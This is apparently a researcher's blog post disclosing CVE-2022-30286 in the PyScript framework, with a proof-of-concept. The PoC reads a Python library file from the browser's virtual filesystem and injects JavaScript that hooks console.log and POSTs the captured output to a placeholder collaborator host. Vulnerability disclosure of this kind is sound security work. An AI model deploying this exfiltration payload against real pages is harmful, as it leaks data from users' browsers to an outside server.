Cyber Guy's Blog
Search…
⌃K

PyScript File Read

[CVE-2022-30286] Remote Python libraries Source Codes from the Emscripten Virtual Memory read and exfiltrate
CVE ID: CVE-2022-30286
CVE Author: Momen Eldawakhly (Cyber Guy)
Description:
The PyScript Framework AKA (PyScript Demonstrator) is affected with Remote Python libraries Source Codes from the Emscripten Virtual Memory which allows the user to read / disclose the python libraries source codes from the remote VM and exfiltrate it using the insecure logging in the browser.
PoC Code:
<py-script>
x = "CyberGuy"
if x == "CyberGuy":
with open('/lib/python3.10/asyncio/tasks.py') as output:
contents = output.read()
print(contents)
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){ console.logs.push(Array.from(arguments)); console.pylog.apply(console, arguments);fetch("http://YOURburpcollaborator.net/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
</py-script>
PoC Image:
Last modified 2mo ago